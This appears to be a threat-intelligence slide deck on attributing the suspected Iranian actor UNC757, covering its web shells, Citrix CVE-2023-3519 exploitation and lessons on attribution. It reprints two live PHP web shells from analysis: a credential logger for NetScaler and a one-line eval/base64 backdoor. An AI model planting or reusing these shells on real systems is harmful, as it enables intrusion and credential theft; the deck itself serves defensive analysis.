You Shall Not Pass!

(Without Proper Attribution)

Untangling a Complex Attribution Case

ASLI KOKSAL

Google Threat Intelligence Group

#whoami

ASLI KOKSAL

Senior Threat Researcher at Google Threat Intelligence Group (GTIG)

Responsible for tracking and hunting of Middle Eastern state-sponsored actors.

If I had to choose one superpower, it would be travelling in time and space 

Contents

01

Beyond 'What Happened' to 'Who Did It':

Power of Attri

The Impact of Knowing "Who"

Not about detecting attacks but **understanding who is behind** them

Reveals **intent** and **capabilities** of threat actors

From **reactive to proactive** defense

Lets us **allocate resources**

Supports **strategic decisions**

Consequences of Misattribution

Missed opportunities to mitigate future threats

Wasted resources

Reputational damage

Escalation of conflict

02

UNC757: The Shadow and the Light

How everythi

The Shadow

UNC757 is a suspected **Iranian** threat actor leveraging **publicly available exploits**, **webshells** including ASPXSPY, ANTAK, TUNNA, CHOPPER and REGEORG, and farsi words like **kharpedar**, **nanash**, and **arbab**.

Using exploits related to **VPNs** and **network appliances**.

Primarily supports **cyber espionage** operations, but they have possible connections to ransomware and wiper activity.

UNC757 was previously tied to the personas "**nanash**," and "**Br0k3r**" which posted advertisements on cyber crime forums claiming to have access to various networks.

In January 2023 variants of the publicly available BLUEBEAM web shells with password "**Coffee**" is attributed to UNC757.

The Light

Name	content
Size	365 bytes
Type	PHP script, ASCII text, with CRLF line terminators
MD5	750b1bf7269ffc5860166efa8af6b34e
SHA1	f4d152a700d93703592dc3652ff7b52ef00b4f7e
SHA256	3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c
SHA512	fcae4efb50a6e72363edfd822939ff9204ca2368963ad825e5c8b5a256255e93bc8f556cd91aa4629c53a117892e03d95aad9c4716ded27300b4d68aabd3bb4e
ssdeep	6:99YpbSYDFYE9LO3b6bLAztLUJD/9RH80Ab6bLAztLUJOdLGX80Ab6bLAztLUJl5t:96RSurpOryLAztQ7H0WLAztzGX0WLAz/
Entropy	5.142417

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a single PHP script block. The script is designed to listen for incoming HTTP GET connections. The script will extract data from the 'u' parameter, and place it into a variable named "$username". The script will also extract data from the 'p' parameter, and place it into a variable named "$password". This data is then placed into the function "file_put_contents", along with the static string "netscaler.1". It appears this malicious web shell is designed to allow a remote operator to remotely add accounts to a compromised NetScaler device. This file contains the following (partial) PHP script code:

—Begin PHP Code—

```
php

$username= $_GET['u'];

$password= $_GET['p'];

if ($username !="undefined"){

file_put_contents("netscaler.1" , "Username:".$username.PHP_EOL ,FILE_APPEND);

file_put_contents("netscaler.1" , "Password:".$password.PHP_EOL ,FILE_APPEND);

file_put_contents("netscaler.1" , "----------".PHP_EOL ,FILE_APPEND);

}
```

—End PHP Code—

TLP:GREEN

https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-259a

Identifying the Threat Actor's Signature

ctxHeaderLogon.php (MD5: dd0c57950f0ce4425a8fb4bac7af6aea)

```
<?php @eval(base64_decode($_POST['JohnCoffey2023!']));?>
```

WOO-HOO TIME:

- Use of TINYSHELL
- Exploiting Citrix CVE-2023-3519 Unauthenticated remote code execution
- Trusted 3rd party tips
- Coffee resemblance?

03

Lair of IRs and Tale of Two Actors

An Unexpect

There is Nothing Like Looking

<Slide content not shareable>

Understanding the Attribution

<Slide content not shareable>

Through the Mines of Moria: Initial Attribution 

<Slide content not shareable>

04

Attribution Tangle and From Tangle to Truth

The Reasons Behind the Attribution

<Slide content not shareable>

Open Questions for Attribution

<Slide content not shareable>

Other IRs

<Slide content not shareable>

Attribution Scenarios

<Slide content not shareable>

From Tangle to Truth

<Slide content not shareable>

Detangling

<Slide content not shareable>

05

One Cluster to Rule Them All

... and in the darkness bind them

[TLP:AMBER]

One Cluster to Rule Them All

<Slide content not shareable>

Lessons Learned

The importance of skepticism and challenging initial assumptions.

The impact of accurate attribution.

The value of collaboration and information sharing.

Thank you